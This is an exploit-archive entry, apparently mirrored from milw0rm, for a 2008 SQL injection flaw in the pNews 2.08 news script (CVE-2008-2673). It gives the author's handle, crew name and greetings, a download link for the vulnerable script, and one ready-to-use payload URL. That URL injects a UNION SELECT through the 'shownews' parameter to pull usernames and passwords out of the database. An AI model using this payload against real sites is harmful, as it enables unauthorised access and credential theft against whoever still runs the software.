pNews 2.08 - 'shownews' SQL Injection



EKU-ID: 13699 CVE: OSVDB-46051;CVE-2008-2673 OSVDB-ID:
Author: Cr@zy_King Published: 2008-06-09 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


pNews 2.08 Remote SqL İnj. VuLn.

OrginaL : http://biyosecurity.com & http://coderx.org

Cr@zy_King / sqL L0v3r'Z Crew Co. 2008

Script Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=

http://localhost/index.php?shownews=2'+UNION+SELECT+1,2,username,4,pwd,6,7,8,9,10,11,12+FROM+table/*

Greatz : aLL My Friends :P

# milw0rm.com [2008-06-09]